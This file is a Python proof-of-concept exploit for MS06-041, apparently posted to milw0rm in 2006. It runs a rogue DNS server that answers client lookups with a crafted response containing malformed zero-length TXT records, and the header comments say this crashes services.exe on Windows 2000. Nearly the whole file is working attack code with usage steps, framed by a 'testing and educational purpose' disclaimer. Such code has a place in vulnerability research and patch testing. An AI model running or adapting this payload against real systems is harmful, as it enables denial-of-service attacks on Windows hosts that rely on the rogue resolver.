#!/usr/bin/python
#POC for MS06-041
#Run the python script passing the local ip address as parameter. The DNS server
#will start listening on this ip address for DNS hostname resolution queries.
#This script is for testing and educational purpose and so to test this one will
#have to point the DNS resolver on the target/client to the ip address on which
#this script runs.
#Open up internet explorer and type in a hostname. services.exe will crash.
#You may have to repeat this two or three times to see the crash in services.exe
# Tested on Windows 2000 server SP0 and SP1 inside VmWare. Could not
# reproduce on SP4 though it is also vulnerable. May be I missed something :)
#
# For testing/educational purpose. Author shall bear no responsibility for any screw ups
# Winny Thomas ;-)
import sys
import struct
import socket
class DNSserver:
def __init__(self, localhost):
self.response = ''
self.__create_socket(localhost)
def __create_socket(self, localhost):
self.host = localhost
self.port = 53
self.DNSsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.DNSsocket.bind((self.host, self.port))
print 'Awaiting DNS queries'
print '====================\n'
while 1:
self.__await_query()
def __await_query(self):
self.Query, self.Addr = self.DNSsocket.recvfrom(1024)
print 'Query from: ' + str(self.Addr)
self.TransactID = self.Query[0:2]
self.__find_type(self.Query[2:])
def __find_type(self, Question):
qType = struct.unpack('>H', Question[0:2])
if qType[0] == 256:
self.__send_response(Question[10:-4])
def __send_response(self, sName):
self.response = self.TransactID
self.response += '\x85\x80' #Flags
self.response += '\x00\x01' #Questions
self.response += '\x00\x02' #Answer RR's
self.response += '\x00\x01' #Authority RR
self.response += '\x00\x00' #Additional RR
#QUERIES
#self.response += sName
self.response += '\x04\x74\x65\x73\x74\x07\x68\x61\x63\x6b\x65'
self.response += '\x72\x73\x03\x63\x6f\x6d\x00'
self.response += '\x00\xff' #request all records
self.response += '\x00\x01' #inet class
#ANSWERS
#A record
self.response += '\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x07'
self.response += '\x00\x04\xc0\xa8\x00\x02' #A type record (IP add)
#TXT record
self.response += '\xc0\x0c\x00\x10\x00\x01\x00\x00\x00\x07'
self.response += '\x00\x18' #TXT record length
self.response += '\x08\x50\x52\x4f\x54\x4f\x43\x4f\x4c'
self.response += '\x00' #Zero length TXT RDATA
self.response += '\x00' #Zero length TXT RDATA
self.response += '\x08\x50\x52\x4f\x54\x4f\x43\x4f\x4c'
self.response += '\x00' #Zero length TXT RDATA
self.response += '\x00' #Zero length TXT RDATA
self.response += '\x01\x41'
#Authoritative Nameservers
self.response += '\xc0\x11\x00\x02\x00\x01\x00\x01\x51\x80'
self.response += '\x00\x0b\x08\x73\x63\x6f\x72\x70\x69\x6f'
self.response += '\x6e\xc0\x11'
self.DNSsocket.sendto(self.response, (self.Addr))
if __name__ == '__main__':
try:
localhost = sys.argv[1]
except IndexError:
print 'Usage: %s <local ip for listening to DNS request>' % sys.argv[0]
sys.exit(-1)
D = DNSserver(localhost)
# milw0rm.com [2006-12-09]